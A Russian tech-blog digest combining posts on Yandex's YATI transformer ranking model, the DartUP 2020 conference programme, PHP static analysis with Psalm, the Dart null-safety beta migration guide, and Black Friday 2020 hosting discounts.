Внедрение split-модели опять приводит нас к новым и интересным инженерным задачам, но рассказать обо всём в одном посте, увы, невозможно. Хотя архитектура нейросетей-трансформеров известна уже достаточно давно, а их использование для задач NLP приобрело огромную популярность после появления BERT в 2018 году, внедрение трансформера в современную поисковую систему невозможно без инженерной изобретательности и большого числа оригинальных технологических улучшений в обучении и рантайме. Поэтому мы назвали нашу технологию YATI Yet Another Transformer (with Improvements), что, как нам кажется, хорошо отражает её суть. Это действительно ещё один трансформер, архитектурно похожий на другие модели (а их в последние годы появилось великое множество), но уникальный тем, что благодаря совокупности улучшений он способен работать и приносить пользу в поиске самом сложном сервисе Яндекса.

Итоги

Что в итоге? У нас появилась своя инфраструктура обучения и дистилляции тяжёлых моделей, адаптированная под наш стек задач ранжирования. С её помощью мы сначала обучили большие модели-трансформеры высокого качества, а затем дистиллировали их в многозадачную split-модель, которая внедрена в рантайм на GPU в виде нескольких частей, независимо применяемых к запросу и документу.

Это внедрение принесло нам рекордные улучшения в ранжировании за последние 10 лет (со времён внедрения Матрикснета). Просто для сравнения: Палех и Королёв вместе повлияли на поиск меньше, чем новая модель на трансформерах. Более того, в поиске рассчитываются тысячи факторов, но если выключить их все и оставить только новую модель, то качество ранжирования по основной офлайн-метрике упадёт лишь на 4-5%!

В таблице ниже сравнивается качество нескольких нейросетевых алгоритмов в задаче ранжирования. % NDCG это нормированное значение обычной метрики качества DCG по отношению к идеальному ранжированию на нашем датасете. 100% означает, что модель располагает документы в порядке убывания их истинных офлайн-оценок. Худший результат ожидаемо даёт подход предыдущего поколения, то есть просто обучение feed-forward-сети на кликовый таргет. Дообучение готовых моделей BERT существенно проигрывает по качеству специализированной версии, которая показывает рекордный результат в 95,4% сравнимо с качеством дистилляции YATI в feed-forward-сеть. Все модели, кроме первой, дообучались на одном и том же множестве экспертных оценок.

Приводимые числа показывают: несмотря на универсальность нейросетей последнего поколения, их адаптация к конкретным задачам на практике даёт существенный прирост эффективности. Это особенно важно для промышленных применений под высокой нагрузкой. Тем не менее очевидная ценность универсальных моделей в том, что они позволяют добиться достаточно хороших результатов на широком круге NLP-задач при минимальном вложении времени и ресурсов.

В начале поста я рассказал про ощущение поиска по смыслу. Применение тяжёлых (как мы сейчас о них думаем) нейросетевых моделей, которые точнее приближают структуру естественного языка и лучше учитывают семантические связи между словами в тексте, поможет нашим пользователям встречаться с этим эффектом ещё чаще, чем раньше. И может быть, однажды нам уже будет непросто отличить иллюзию от реальности. Но до этого, я уверен, в качестве поиска ещё предстоит сделать много нового и интересного.

Спасибо за внимание.

Подробнее..

DartUP 2020 архитектура Dart VM, non-nullability в действии и Flutter для бизнеса

26.11.2020 20:11:58 | Автор: admin


Уже 4 и 5 декабря пройдет DartUP конференция по Dart и Flutter на русском и английском языках. Обычно в это время мы смотрим площадку, печатаем стикеры и запасаем в офисе коробки со свежеприготовленным Dart-пивом. Но в этом году все будет по-другому. Под катом рассказываем про темы докладов, спикеров и онлайн-активности, которые нас ждут на DartUP 2020.

Программа


Слава Егоров разработчик Dart VM из Google, который уже 10 лет работает с Dart. Слава расскажет про архитектуру Dart Virtual Machine и ее эволюцию в ходе развития языка. Хардкорный доклад с огромным количеством примеров с кодом.

Michael Thomsen, Product Manager языка Dart из Google, проведет лайвкодинг-сессию на тему Dart non-nullability в действии. Недавно команда Dart выпустила null-safety один из важнейших релизов со времен второй версии. Во время своего выступления Майкл ответит на один из главных вопросов комьюнити: как переносить реальные проекты на мажорную версию.

Вместе с Filip Hracek, DevRel Flutter и Dart из Google, мы решили подготовить не обычный доклад, а веселый интерактив. Поэтому объявляем конкурс Cracking up Flutter: присылайте на wriketechclub@team.wrike.com свои Codepen с любым Flutter-приложением, которое не работает из-за ошибки в одной строчке кода, и правильный ответ. В теме письма укажите Cracking up Flutter.

Мы покажем ваши submissions Филиппу во время его выступления, и он за ограниченный промежуток времени попробует разобраться и найти место, в котором прячется ошибка. Присоединяйтесь к чату во время трансляции, чтобы помочь Филиппу в процессе! Участнику конкурса, который спрячет ошибку так виртуозно, что Филипп не сможет ее найти, мы подарим приз.




На круглом столе Flutter для бизнеса Борис Горячев (CTO в Meduza), Геннадий Евстратов (Head of iOS в Yandex.Taxi) и Александр Денисов (Co-Head of Flutter Competency в EPAM) поспорят о том, как продавать Flutter бизнесу и отвечать на три самых распространенных вопроса: А что если Google решит закрыть Flutter через год?, Где искать разработчиков? и Какие перспективы есть у Flutter?.

Kevin Segaud Dart и Flutter GDE, который уже выступал на DartUP в прошлом году. В этот раз Кевин расскажет про интересную и достаточно новую для комьюнити тему Dart FFI. Будет немного теории и много практики: Кевин в реальном времени покажет, как использовать Dart в связке с кодом C и расскажет про плюсы и минусы такого подхода.

Андрей Смирнов из Wrike знает о виджетах практически все. На прошлой конференции Андрей рассказывал про работу с графикой, а в этом году погрузится в устройство Flutter Engine, расскажет про Rendering Pipeline, Constraints и про то, как эти инструменты использовать на практике.

Кирилл Бубочкин из чешской компании Mews поделится опытом использования Flutter в продакшне: команда год назад переписала на Flutter свое большое B2B-приложение. На DartUP 2020 Кирилл расскажет про архитектурные подходы и полезные библиотеки.

Thomas Burkhart выступит с темой, которую редко удается встретить на Flutter-конференциях. Томас расскажет про RVMS практичную архитектуру для Flutter-приложений, поделится своим опытом и последними наработками.

Доклад Efthymis Sarbanis (Athens Flutter) круто зайдет в комбинации с предыдущим докладом Томаса. Efthymis Dart и Flutter GDE и организатор Flutter Greek Community. В своем докладе он расскажет про изоляцию фич во Flutter и использование принципов Domain-Driven Design и SOLID.

Взаимодействие с картами требуется во многих приложениях. Алиса Цветкова из HIQ разберет библиотеки карт для Flutter, расскажет о подводных камнях при работе с ними и о том, как построить взаимодействие вашего приложения с картами.

Леша Шаров из Wrike готовит доклад про нейронные сети на Dart. Во время выступления Леши мы поговорим про то, что из себя представляют простейшие нейронные сети и можно ли использовать Dart для их написания. А еще будет несколько работающих примеров.

Нейронные сети Леша использовал и для создания Bugz онлайн-игры, в которой команды ботов-жуков, управляемые сгенерированным генокодом, сразятся друг с другом или с жуками Wrike. Всем зарегистрировавшимся на конференцию мы пришлем правила игры и ссылку.

Любителям хардкорных тем особенно понравится доклад Михаила Зотьева из Surf про внутренности Flutter: устройство Rendering, вывод виджетов и другие аспекты фреймворка. Будет полезно как новичкам, так и тем, кто хочет лучше разобраться во внутреннем устройстве Flutter.

Александр Денисов из EPAM расскажет про Navigator 2.0, который появился во Flutter относительно недавно. Саша расскажет, зачем они затащили его в проект, с какими сложностями столкнулись в процессе и что получилось в итоге.


Владимир Иванов из EPAM расскажет про проблему pixel perfect верстки, длинный фидбек луп на дизайн и про то, как инструмент Flutter Figma Preview может помочь в этой ситуации. Павел Мартынов из QuantumArt про особенности дизайна и разработки Flutter-приложений для AR-устройств. Андрей Скалкин из Datagrok поделится опытом создания высокопроизводительного веб-приложения на Dart.

Это далеко не полный список тем, о которых мы поговорим на конференции. Больше информации про спикеров, доклады и программу (которую мы опубликуем уже совсем скоро) ищите на dartup.ru.

Нетворкинг и онлайн-активности


Участники (и мы тоже!) любят DartUP не только за актуальные и полезные доклады, но и за неформальную атмосферу и возможность пообщаться с комьюнити.



Да, в онлайне это реализовать не так просто, но мы постарались подготовить крутые онлайн-активности, чтобы у каждого участника была возможность отдохнуть и пообщаться в виртуальных коридорах.

Все неформальные нетворкинг- и Q&A-сессии будут проходить в SpatialChat. Там спикеры и эксперты из Wrike и Surf ответят на любые вопросы участников про Dart и Flutter. Готовьте свои трудные кейсы и приходите с кодом. Ребята из Surf объявили сбор идей и болей разработчиков для Open Source. А также эксперты из команды проведут код-ревью ваших репозиториев в прямом эфире. Все подробности по этой ссылке.

А пока присоединяйтесь к Slack-каналу, в котором мы будем постить анонсы во время конференции, отвечать на вопросы и неформально общаться.

Регистрируйтесь на DartUP до 4 декабря, готовьте вопросы спикерам и код на ревью. За день до конференции мы пришлем вам на почту ссылки на трансляции и активности. До встречи в декабре!
Подробнее..

Сейчас я буду убеждать вас использовать статический анализ в PHP

27.11.2020 10:16:55 | Автор: admin


Я помню выход PHP7: появились strict types, скалярные type hint-ы.

Мы начали двигаться в сторону языка со статической типизацией, но типизация не ушла в статику. Концептуально все осталась прежним мы запускаем программу и только в runtime узнаем, что где-то есть неправильный тип. Даже если мы везде явно проставим типы, все ошибки мы не поймаем и можем больно упасть в продакшене.

Всем привет! Это частичная расшифровка моего подкаста Между скобок разговоров обо всем, что связано с разработкой на PHP. В гостях у меня Валентин Удальцов, автор телеграм-канала Пых, который регулярно пишет о плюсах статического анализа.

В аудиоверсии вы найдете больше технических примеров, обсуждение, что такое хороший код, рассуждения о будущем языка и не только.

Если вы решите углубиться в тему, советую эти видео:



Поехали!


Сергей Жук, Skyeng: Что вообще анализируют статические анализаторы? Они же не только про типы, да?

Валентин Удальцов, Пых: Статический анализ выходит далеко за пределы декларации типов в PHP. Типизация может быть очень многогранна: скажем, это может быть работа с иммутабельность и чистотой. То есть, мы можем гарантировать, что объект определенного класса не меняется в процессе его использования, на нем нет setter-ов.

Мы также можем следить за чистотой функции: смотреть, что она не обращается к IO.

В Psalm еще недавно добавили taint analysis: мы можем проследить данные от источника из внешней среды до какого-то уровня вглубь и понять, что все данные были так или иначе провалидированы. Тогда, с некоторой долей вероятности, у нас нет проблем с безопасностью. Вот еще одна задача, которую может решать статический анализ.

Сергей Жук, Skyeng: А ты вообще разбирался, как это работает? Если мой код не выполняется, получается, он парсится в абстрактное синтаксическое дерево и...

Валентин Удальцов, Пых: Есть статические анализаторы, которые используют autoloading композеровский те же PHPStan и Psalm. Phan по-моему, частично использует runtime, но дальше сам анализ происходит без выполнения.

В этом вся суть. В основе большинства статических анализаторов, речь не только про тройку, что я назвал, используется парсер, который написан на PHP Никитой Поповым. При помощи этого парсера код разбивается на токены, и мы можем анализировать вызовы, получать набор expression-ов, statement-ов, делать какие-то выводы о том, как данные протекают в процессе выполнения в этих участках кода.

Есть два этапа. На первом Psalm проходит весь код, который ты указал ему явно полностью. Традиционно это папка src и любые другие, которые ты перечислил. Он также заглядывает в vendor, если твой код использует вендорные классы. Это просто сбор данных: он все кэширует, трансформируя данные парсера Попова в некоторые свои сущности.

Потом, при следующих проходах, первый этап повторяется только для тех файлов и зависимостей, которые поменялись. За счёт этого Psalm работает достаточно быстро.

Второй этап это анализ. По умолчанию он проходит только в измененных файлах. Но можно форсировать полный анализ: тогда Psalm поднимет из кеша подготовленные на первом этапе данные и проведет рекурсивный анализ всего и вся.

Сергей Жук, Skyeng: Ты постоянно упоминаешь Psalm а почему не другие?

Валентин Удальцов, Пых: Да все просто. Когда я вообще что-то выбирал, то договорился на работе в Happy Inc., что начинаю новый проект и мы сразу включаем всё на максимум. Посмотрел, что чаще упоминают, сделал базовое сравнение фич. Phan не использовал composer autoloading, насколько помню. В PHPStan было больше плагинов. В Psalm была иммутабельность, еще какие-то вещи, частые релизы, сообщество, а человек, который его развивает, на оплачиваемой должности. Все это подкупило.

Выбор я сделал и не слежу, как развиваются альтернативы. Просто времени нет. Но Psalm до сих пор часто удивляет: скажем, с новым релизом может появить фича, про которую я знать не знал, что это можно проверять статически.

Бывает и так, что выйдет новый релиз, а там какая-то регрессия или на что-то не написан тест.

Естественно, приходится такое suppress-ить, писать issue. Мой лайфхак: если вы нашли проблему в любом пакете, который ставите, напишите todo, создайте issue, а в todo впишите ссылку на issue. Когда issue закроют, по его url вы найдете все места в коде, где нужно убрать suppress.

С Psalm я так и поступаю: не откатываю версию, я просто пишу suppress-ы и обязательно делаю тикет.

Сергей Жук, Skyeng: А как подсадить на статанализ команду? Люди ждут, что им сейчас всякие хитрые баги найдут, а в реальности все немного иначе.

Валентин Удальцов, Пых: У меня нет опыта внедрения Psalm на большом проекте с кучей людей. Этот момент я признаю. Мне помогло то, что я начинал писать проект один, хотел по полной обмазываться статическим анализом, и сделал это. А когда начали подключаться люди с других проектов, они были поставлены в существующие рамки. Конечно, поначалу я объяснял и показывал, но у нас небольшой техотдел. Так что не сказал бы, что адаптация других ребят заняла много времени.

Для тех, у кого много людей и старая кодовая база, в инструментах статического анализа есть такая история, как baseline.

Когда ты добавляешь инструмент в старый проект, там найдется миллион ошибок. Но ты говоришь анализатору: мы признаем, что это есть, но пока не обращаем на это внимание а вот когда мы пишем новое, рассказывай, где проблемы. Это baseline и постепенно, относительно него, разработчики учатся писать код с учетом статического анализа. При этом в Psalm есть несколько уровней, то есть инструмент максимально заточен, чтобы внедрять его постепенно.

А потом, когда все привыкли, можно постепенно рефакторить. Ну либо не рефакторить, но хотя бы новый код писать с учетом статанализа.

Сергей Жук, Skyeng: Бывает, анализаторы ругаются на неверные PHP-доки, хотя сам код работает правильно. Да и ты говорил про баги, которые помечаешь todo-шками Есть ли тогда смысл добавлять статанализ наравне с тестами в CI?

Валентин Удальцов, Пых: Добавлять надо, иначе теряется смысл. Идея типизации в том, чтобы снизить энтропию, повысить детерминированность того, что мы пишем. А богатая типизация позволяет писать меньше тестов. Если мы знаем, что где-то есть тип, который возвращает в этом случае null, а в этом string, если мы точно знаем, в каких случаях что возвращается, то не понадобится писать тест, который это проверяет.

Статический анализ это полноценный этап CI, который пробегает до тестов.

Если у тебя типы неверные, что там тестировать? Ты в любом случае накосячил.

Что касается багов в Psalm, обычно это минорные вещи, не самая большая проблема. Если есть реальная проблема, мы формируем issue и костыльком в виде suppress или подсказки с todo-шкой это фиксим. При этом бывают нюансы, которые ты сразу не понимаешь, делаешь issue, а тебе отвечают: Да ты просто здесь вот это не так указал. И скидывают как правильно.

Сергей Жук, Skyeng: Ок, но для таких инструментов свой синтаксис надо учить. И твой код им обрастет. Как ты думаешь, в будущем это всё мигрирует в сам PHP?

Валентин Удальцов, Пых: Я смотрю на свой текущий проект. Он написан как бы не на PHP, а на PHP плюс Psalm. Но это всё-таки далеко от того, чтобы быть прям совсем другим языком. Это не как Haskell и PHP, например.

Что касается будущего, трудно сказать. Если код не типизирован, вероятность ошибки выше. Пока PHP как бы на двух стульях сидит: с одной стороны, позволяет mixed (и это иногда удобно), а с другой, мы так или иначе стремимся к типизации.

Сергей Жук, Skyeng: Ок, а что бы ты сказал человеку, который сейчас открыл IDE, создал новый проект и думает, добавлять статанализ или ну его?

Валентин Удальцов, Пых: Бизнес-логику, естественно, никакой статический анализ не проверит. А вот типы и все эти совершенные тупые ошибки снижаются процентов на 80. Да, в начале будет сложнее. Но в долгосрочной перспективе это профит. Статический анализ передвигает исправление багов ближе к началу разработки, а это снижает издержки на поддержку проекта.

Ведь всех бесят ошибки с продакшена, когда вместо expected string пришел int, null где-то появился или undefined index. Поэтому разработчик может взвесить все плюсы и минусы, понять, что благодаря статическому анализу вот такие совершенно глупые ошибки исключаются. А еще есть приятный бонус в виде дженериков.

Сергей Жук, Skyeng: А всё же есть какие-то минусы, каких-то кейсы, где вообще не надо использовать стат анализ?

Валентин Удальцов, Пых: Если проект реально большой, а команда привыкла полагаться на runtime издержки на интеграцию могут быть запредельными. Но все равно я бы советовал попробовать baseline внедрить, посмотреть, что как будет. Многие вещи надо в несколько этапов внедрять.

А если вы распиливаете большой монолитный сервис, и по какой-то причине продолжаете на PHP все делать, стоит попробовать.

Это не только хайп последних лет. Это реально полезно. Если мы полагаемся на runtime, то обязательно наткнемся на сложную ситуацию, что и поправить безумно дорого, и клиент готов уйти, и всё-всё очень плохо.

p.s. Найти другие выпуски подкаста вы можете здесь.
Подробнее..

Перевод Объявление о бета-тестировании null-safety Dart. Начало процесса миграции пакетов в надежное и безопасное состояние

27.11.2020 20:16:23 | Автор: admin


Безусловно, null-safety важный шаг в развитии языка. Команда Dart анонсировала бета-релиз версии с null-safety! Мы перевели на русский новость об этом релизе, в котором вы узнаете, как мигрировать на новые версии, какие преимущества получите, и в чем польза null-safety для всех нас.

Сегодня мы объявляем, что бета-версия с надежной null-safety доступна для Dart и Flutter. Null-safety это наше последнее важное достижение, призванное помочь вам избежать ошибок обращения к null-значениям класса ошибок, которые часто трудно обнаружить. Это видео в общих чертах объясняет причину нашей радости:


С переходом на бета-версию с null-safety пришло время для миграции тысяч пакетов, доступных на pub.dev. Мы перенесли библиотеки ядра Dart, фреймворк Flutter и более 40 пакетов Dart и Flutter. При этом мы надеемся, что комьюнити примет null-safety, мигрируя свои пакеты.



Выпустив бета-версию, мы также выходим на финишную прямую перед выпуском стабильной версии с null-safety. Надеемся, что вы воспользуетесь этой функциональностью и сообщите нам, можно ли ее улучшить и сделать более понятными UI-сообщения и документацию. Мы с большим нетерпением ждем ваших отзывов.

Выбор в пользу null-safety


Прежде чем обсуждать миграцию на null-safety, хотим повторить, что (как указано в наших принципах null-safety) у вас есть возможность выбирать, когда именно начинать переход. Приложения и пакеты будут работать только с null-safety, если их минимальное ограничение Dart SDK принадлежит по крайней мере к пред-релизной версии Dart 2.12:

environment: sdk: ">=2.12.0-0 <3.0.0"

Чтобы испытать ее, попробуйте создать небольшое null-safety приложение hello (например, с помощью dart create), содержащее код, как показано ниже. Затем можете попробовать запустить приложение до и после изменения ограничения SDK и запуска dart pub get и посмотреть, как меняется поведение программы. (Убедитесь, что dart --version возвращает вам именно 2.12)

bin/hello.dart:...void main() {  var hello = 'Hello Dart developers';  if (someCondition) {hello = null;  }  print(hello);} Before changing the SDK constraint:$ dart run null After changing the SDK constraint (and running dart pub get):$ dart run bin/hello.dart:6:13: Error: Null can't be assigned to a variable of type 'String' because 'String' is not nullable. hello = null;        ^


Переход к null-safety


Чтобы мигрировать пакет (или простое приложение) в режим null-safety, выполните следующие пять шагов, которые подробно описаны в руководстве по миграции на dart.dev.

Шаг 1: проверьте, готовы ли ваши зависимости


Настоятельно рекомендуем переносить код по порядку, начиная с листьев графа зависимостей. Например, если C зависит от B, который зависит от A, сначала мигрируйте на null-safety A, затем B, затем C. Этот порядок применим вне зависимости от того, являются A, B и C библиотеками, пакетами или приложениями.



Почему порядок так важен? Можно добиться некоторого прогресса в миграции кода до миграции зависимостей, но есть риск столкнуться с необходимостью повторного прогона, если ваши зависимости изменят свои интерфейсы во время миграции. Если некоторые из ваших зависимостей не null-safety, подумайте о том, чтобы связаться с издателями пакетов, используя контактные данные, указанные для каждого пакета на pub.dev.

Проверка готовности зависимостей


Чтобы проверить, готово ли ваше приложение или пакет к началу миграции, можете выполнить dart pub outdated в режиме null-safety. Приведенный ниже пример показывает, что приложение будет готово к миграции, если обновит свои зависимости на path, process и pedantic до пред-релизных версий, перечисленных в столбце Resolvable.



Если поддержка null-safety доступна в новых минорных версиях, вы увидите их в столбце Upgradable. Часто поддержка null-safety будет доступна в мажорных новых версиях; в этом случае вы увидите версии, перечисленные в разделе Resolvable в выводе утилиты outdated. Для перехода на них отредактируйте файл pubspec.yaml, чтобы разрешить эти мажорные версии. Например, можете поменять
process: ^3.0.13 на process: ^4.0.0-nullsafety.

Также вы можете найти пакеты с поддержкой null-safety на pub.dev, используя новые теги Null safety на страницах пакетов (например, collection 1.15) и новую опцию Расширенного поиска null safety search.



Шаг 2: перенос с помощью инструмента миграции


Если зависимости готовы, можете приступать к переносу вашего приложения или пакета с помощью инструмента миграции dart migrate.

Инструмент миграции интерактивен, поэтому вы можете просмотреть свойства null-safety, выведенные этим инструментом. Если вы не согласны с каким-либо результатом работы инструмента, можно добавить подсказки о допустимости пустых значений, чтобы изменить его. Добавление всего нескольких подсказок может оказать огромное влияние на качество миграции.



Несколько авторов пакетов Dart протестировали миграцию с использованием ранних предварительных сборок null-safety, и их отзывы были воодушевляющими. В руководстве по миграции есть дополнительные подсказки по использованию инструмента миграции.

Шаг 3: статический анализ перенесенного кода


Обновите пакеты с помощью pub get в вашей IDE или в командной строке. Затем используйте IDE или командную строку для выполнения статического анализа вашего кода Dart:

$ dart pub get$ dart analyze


Или на коде Flutter:

$ flutter pub get$ flutter analyze


Шаг 4: убедитесь, что тесты проходят


Запустите тесты и убедитесь, что они благополучно проходят. Вам может понадобиться обновить тесты, ожидающие null, если вы изменили код пакета на недопускающий значений null.

Шаг 5: опубликуйте свой null-safety пакет


Завершив миграцию и прогнав тесты, можете опубликовать свой пакет в качестве пререлиза. Вот краткое изложение наилучших практик:

  • Обновите версию до следующей мажорной версии (например, с 2.3.x до 3.0.0). Это гарантирует, что пользователи вашего пакета не обновятся до него, пока не будут готовы использовать null-safety. Это дает вам свободу рефакторинга API, чтобы наилучшим образом применить null-safety.
  • Переведите и опубликуйте свой пакет в качестве предварительной версии на pub.dev. (Например, используйте 3.0.0-nullsafety.0, а не 3.0.0.)


Для более подробной информации о миграции и управлении версиями см. руководство по миграции.

Преимущества гарантированной null-safety


В наших предыдущих публикациях, посвященных техническим превью null-safety в Dart и Flutter, на ряде примеров обсуждались преимущества этих перемен. Теперь, когда null-safety близится к завершению, мы видим несколько реальных примеров этого преимущества.

Более безопасный код


Совсем недавно мы обнаружили ошибку в основной ветке Flutter, из-за которой различные команды инструмента flutter вылетали на определенных конфигурациях машины с ошибкой null: The method '>=' was called on null. Основной проблемой был недавний пулл-реквест на добавление поддержки для обнаружения Android Studio 4.1. Этот пулл-реквест добавил такой код:

final int major = version?.major;final int minor = version?.minor;if (globals.platform.isMacOS) {  /// plugin path of Android Studio changed after version 4.1.  if (major >= 4 && minor >= 1) {    ...


Можете найти ошибку? Поскольку версия может быть null, как основная, так и дополнительная версия также могут быть null. Этот баг может показаться легко находимым здесь в изоляции, но на практике подобный код проскальзывает постоянно, даже при строгом процессе код-ревью, который используется в репозитории Flutter. При null-safety статический анализ сразу же отлавливает эту проблему:



Это была довольно простая ошибка. На ранних этапах использования null-safety во внутреннем коде Google мы видели, как благодаря null-safety обнаруживаются, а затем решаются гораздо более сложные ошибки. Вот несколько примеров:

  • Внутренняя группа обнаружила, что они часто проверяют наличие null значений в коде, которые null-safety определяла как никогда не null. Эта проблема чаще всего встречается в коде, использующем protobuf, где необязательные поля возвращают значение по умолчанию, когда оно не задано, и никогда не имеют значения null. Это приводило к тому, что код неправильно проверял условие по умолчанию, смешивая значения по-умолчанию и null значения.
  • Команда Google Pay обнаружила баги в своем коде Flutter, из-за которых они не могли получить доступ к объектам Flutter State вне контекста Widget. До null-safety они возвращали null и маскировали ошибку; при null-safety анализ определил, что эти свойства никогда не могут быть null, и выдал ошибку анализа.
  • Команда Flutter обнаружила ошибку, из-за которой движок Flutter потенциально мог выйти из строя, если null был передан параметру scene в Window.render(). Во время миграции на null-safety они добавили подсказку, чтобы пометить Scene как не допускающую нулевое значение, а затем смогли легко предотвратить потенциальные сбои приложения, которые мог вызвать переданный null.


Использование надежной null-safety во время компиляции


Надежность null-safety Dart имеет еще одно важное значение: компиляторы Dart могут использовать информацию о допустимости значений null. Это может сделать ваши программы меньше и быстрее. Пока что у нас не так много реальных приложений, полностью переведенных на null-safety (ведь мы только сейчас начинаем миграцию экосистемы пакетов, от которых эти приложения зависят в плане надежности), но мы видим очень обнадеживающие результаты из основного фреймворка.

Недавно мы провели тестовую перекомпиляцию образца hello_world, чтобы измерить влияние null-safety на размер приложения. Это минимальный пример, который просто отображает hello world. При сравнении общего размера скомпилированного кода размер несжатого (установленного на устройстве) кода сократился на 3,5% без каких-либо действий кроме перекомпиляции с надежной null-safety. Это стало возможным несмотря на то, что все приложение состояло из 10 строк кода, потому что размер кода всех включенных библиотек сократился; например, сам фреймворк Flutter (package:flutter) сократился на 3,9%.

Что касается скорости кода, то необходимость принудительного использования системы надежных типов данных потенциально увеличивает накладные расходы. Однако меньшее количество проверок на null также потенциально ускоряет код. Первоначальный анализ тестов показывает, что производительность находится на одном уровне с предыдущими релизами, а новая дополнительная информация о типах дает нам потенциал для новых способов улучшения производительности в будущем. Мы планируем подробнее написать об этом в следующих публикациях.

В некоторых случаях мы уже видели, как null-safety приводила к росту производительности, когда переход обнаруживал изъян в логике кода. Например, мы обнаружили проблему в кеше позиционирования текста во Flutter web. Этот кеш использовал ключ, допускающий значение null, а затем по заданной логике использовал TextAlign.start при null. Эта логика вызывала ошибку в кеше, когда элементы выглядели так, будто они изменились, даже если у них все еще было значение по умолчанию. В результате часто случались нерезультативные обращения в кеш. Добавление геттера textAlign, не допускающего значения null, помогло исправить ошибку кеширования, что привело к увеличению производительности рендеринга текста в 14 раз в случаях кешируемого текста.

Начните сегодня!


Бета-версии Dart и Flutter, содержащие null-safety, уже готовы. Если вы пишете на Flutter, можете переключиться на бета-версию с помощью flutter channel beta, а затем flutter upgrade. А если вы не используете Flutter, то можете получить автономный Dart SDK из архива Dart SDK.

Если вы разрабатываете пакеты, рекомендуем прочитать наше руководство по миграции и спланировать свою миграцию. Пожалуйста, сообщите нам о любых проблемах или предложениях, которые у вас появятся.

Если вы разработчик приложения, можете отложить перенос, пока функция не появится в наших стабильных версиях. Мы планируем быстро отреагировать на фидбек бета-версии и исправить все оставшиеся проблемы. Трудно назвать конкретные сроки, когда null-safety выйдет в стабильном релизе, но мы думаем о начале следующего года.

Спасибо за вашу поддержку и обратную связь! Мы работаем над тем, чтобы сделать Dart более надежным языком, а Flutter более мощным фреймворком.

Michael Thomsen, продакт-менеджер Dart и Flutter, опубликовал эту статью в официальном блоге Dartlang. Если вы хотите послушать доклад Майкла и пообщаться с ним лично, приходите на DartUP 2020 Online 4 и 5 декабря и обсудите последние обновления языка с командой Dart и сообществом.
Подробнее..

Черная пятница 2020 (скидки на хостинг)

27.11.2020 04:16:45 | Автор: admin
Скидки к Черной пятнице уже никого не удивляют. Навязчивые предложения купить слона слышны из каждого утюга, так что я не был уверен в том, что хочу добавлять к этим голосам свой, но когда мне уже показалось, что я завязал, они снова меня туда затащили.



Некоторые хостеры интересовались, не забыл ли я добавить их в сборник со скидками, а пользователи в телеграме спрашивали, не будет ли повторения акций к семилетию Поиск VPS (нет), так что хотя бы на Черную пятницу и Киберпонедельник было решено сделать небольшой пост.

Надеюсь, что кому-нибудь это поможет найти рыбу хостинг своей мечты. Как обычно постараюсь дополнять этот пост новыми предложениями, ну а если какие-то акции я пропустил, то буду рад подсказкам в комментариях.

Host4biz скидка 90% на виртуальный хостинг, 50% на виртуальные серверы
Hyper Host скидка 90% на виртуальный хостинг, 30% на виртуальные серверы
A2 Hosting скидка до 78% на виртуальный хостинг, VPS/VDS и выделенные серверы
ITL DC скидка 70% на виртуальный хостинг, 55% на виртуальные и выделенные серверы
Bacloud скидка 66% на виртуальные и выделенные серверы
HostSailor скидка до 65% на виртуальный хостинг и VPS/VDS, до 20% на выделенные серверы, 20% на реселлинг
HOSTKEY скидка до 60% на выделенные серверы
Dominant Telecom скидка 60% на виртуальный хостинг
ISPLevel скидка 55% на виртуальные и выделенные серверы
OVH скидка до 50% на виртуальные серверы, до 40% на виртуальный хостинг, до 37% на выделенные серверы
EuroHoster скидка 50% на виртуальные серверы, 20% на выделенные серверы
ProfitServer скидка 50% на виртуальные серверы
Veesp скидка 50% на виртуальные и выделенные серверы
FOXCLOUD скидка 50% на виртуальные серверы
Inferno Solutions скидка 50% на виртуальные серверы, 20% на выделенные серверы
Interserver скидка 50% на виртуальный хостинг
King Servers скидка 40% на виртуальные серверы, специальная цена на выделенные серверы
FriendHosting скидка 30% на виртуальный хостинг и VPS/VDS
G-Core Labs скидка 30% на выделенные серверы, 40% на услуги CDN, Streaming Platform, DDoS Protection, Storage и Cloud
PlanetaHost скидка 25% на выделенные серверы
OneProvider скидка до 25% на выделенные серверы
WebHOST1 скидка 20% на хостинг и виртуальные серверы, возврат 20% средств, потраченных на дополнительные услуги, специальная цена на выделенный сервер
FASTVPS скидка 20% на виртуальные серверы, 10% на выделенные серверы, 30% на сертификаты SSL
KeyWeb скидка 20% на виртуальные серверы
PQ.Hosting скидка 15% на все виртуальные серверы
Majordomo скидка 20% на настройку рекламы и аудит сайта
RedDock 3 месяца в подарок к оплате на год, 2-й месяц бесплатно на виртуальный сервер
RackNerd специальные цены на виртуальный хостинг, виртуальные и выделенные серверы
BlueVPS удвоение параметров виртуального сервера
Миран бесплатная лицензия Windows Server для каждого выделенного сервера
Hostens специальная цена на виртуальный хостинг


Срок действия: до 30 ноября 2020 года включительно
Скидка 90% на виртуальный хостинг, 50% на виртуальные серверы по промокоду BLACKFRIDAY2020.
Подробнее
  • при заказе любого тарифа услуги Хостинг сайтов с промокодом BLACKFRIDAY2020 на период от 1 года скидка на первые 6 месяцев пользования услугой составляет 90%;
  • при заказе любого тарифа услуги Хостинг WordPress с промокодом BLACKFRIDAY2020 на период от 1 года скидка на первые 6 месяцев пользования услугой составляет 90%;
  • при заказе любого тарифа услуги сервер Linux VPS с промокодом BLACKFRIDAY2020 на период от 6 месяцев скидка составляет 50% на первые 3 месяца;
  • скидки объединяются с постоянными скидками, указанными на сайте;
  • акционным промокодом можно воспользоваться только один раз;
  • предложение действительно только для новых заказов.

Условия акции


Срок действия: 27 ноября 2020 года
Скидка 90% на виртуальный хостинг, 30% на виртуальные серверы.
Подробнее
Промокод не требуется, скидка применяется к новым заказам при оплате на 1 или 3 месяца.
Условия акции


Срок действия: undefined
Cкидка до 78% на виртуальный хостинг, реселлинг, VPS/VDS и выделенные серверы
Подробнее
  • виртуальный хостинг от $1.99 в месяц;
  • реселлинг от $14.99 в месяц;
  • хостинг для WordPress от $9.99 в месяц;
  • Виртуальные серверы от $19.99 в месяц;
  • выделенные серверы от $129.3 в месяц.

Условия акции


Срок действия: до 03 декабря 2020 года
Скидка 70% на виртуальный хостинг, 55% на виртуальные и выделенные серверы по промокоду BLACKFRIDAY2020.
Подробнее
  • скидка 55% на HDD-сервер с процессором Intel Xeon E3-1230v3-v6, 32Gb ECC RAM и парой дисков 2TB;
  • скидка 70% на все хостинговые планы при оплате на 6 или 12 месяцев;
  • скидка 55% на все планы SSD VDS. Для минимального плана SSD VDS 1G скидка доступна при заказе на 3, 6 или 12 месяцев, для остальных планов для любого периода;
